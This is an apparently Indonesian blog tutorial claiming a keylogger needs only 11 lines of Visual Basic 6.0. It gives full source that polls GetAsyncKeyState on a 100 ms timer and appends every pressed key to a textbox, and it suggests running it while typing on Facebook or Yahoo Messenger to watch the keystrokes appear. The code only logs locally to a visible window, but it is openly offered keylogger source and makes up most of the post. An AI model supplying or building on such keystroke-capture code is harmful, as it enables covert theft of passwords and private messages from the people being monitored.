Hanya Perlu 11 baris script untuk sebuah keylogger di VB 6.0

Tidak percaya dengan Judul diatas?? coba buat project baru dengan
[-] sebuah textbox dengan Multiline = true
[-] sebuah timer dengan enabled = true dan interval = 100

isikan kode dibawah ini pada form
code :







Dim results As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
 
Private Sub Timer1_Timer()
    For i = 1 To 255
        results = 0
        results = GetAsyncKeyState(i)
        If results <> 0 Then
            Text1.Text = Text1.Text & Chr(i)
        End If
    Next
End Sub

Jalankan dan coba beraktifitas di facebook , YM atau apa aja... dan lihat ketukan huruf keyboard anda bermunculan di textbox.

Sekarang anda percaya bukan? sebuah keylogger hanya perlu 11 baris skript.